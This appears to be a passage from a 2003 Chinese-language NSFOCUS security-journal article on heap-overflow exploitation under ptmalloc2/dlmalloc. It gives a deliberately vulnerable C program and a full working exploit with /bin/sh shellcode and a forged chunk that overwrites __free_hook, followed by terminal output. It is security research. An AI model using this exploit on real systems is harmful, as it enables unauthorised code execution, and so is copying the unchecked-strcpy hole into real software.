首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第45期->技术专题
期刊号: 类型: 关键词:
ptmalloc2的堆溢出利用初探

作者:backend <backend at nsfocus.com>
主页:http://www.nsfocus.com
日期:2003-11-07

★ 目录

  起因
  原因
  分析
  突破
  代码
  例外
  结束
  参考


★ 起因

先看一下本文的漏洞程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int foo(char *s1,char *s2)
{
        strcpy(s1,s2);
        printf("input:%s\r\n",s1);
        return 0;
}

main(int argc,char **argv)
{
        char *p1;
        char *p2;

        if(argc<2)
        {
                printf("Usage:%s <string>\n",argv[0]);
                exit(0);
        }
        if(strlen(argv[1])>100-1)
        {
                printf("ERROR:too long\n");
                exit(0);
        }
        p1=(char *)malloc(20);
        p2=(char *)malloc(100);
        memset(p1,0,20);
        memset(p2,0,100);
        strcpy(p2,argv[1]);
        foo(p1,p2);
        free(p1);
        free(p2);
        printf("END.\n");
        exit(0);
}

$ gcc -o heapvul heapvul.c

对于旧版本的glibc库,代码采用的是Doug Lea的malloc实现,因此攻击是非常简单的。
根据warning3在2001年初发表的《一种新的Heap区溢出技术分析》
(http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847),很容
易就能写出以下攻击代码:

/* Compile: gcc -o ex1 ex1.c */

#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK     0x40163700
#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
  "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunk[16];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  /* 伪造一个块结构 */
  ptr = (unsigned int *) fake_chunk;
  *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
  /* 设置长度为-4,这个值应当是4的倍数 */
  *ptr++ = 0xfffffffc;
  *ptr++ = __FREE_HOOK - 12 ;
  *ptr++ = codeaddr;

  bzero(buf, 40);
  memset (buf, 'A', 16); /* 填充无用数据 */
  memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat72 nsfocus]$ uname -a
Linux nsfocus 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
gcc -o ex1 ex1.c
[backend@redhat72 nsfocus]$ ./ex1
input:AAAAAAAAAAAAAAAAD3"?
版权所有,未经许可,不得转载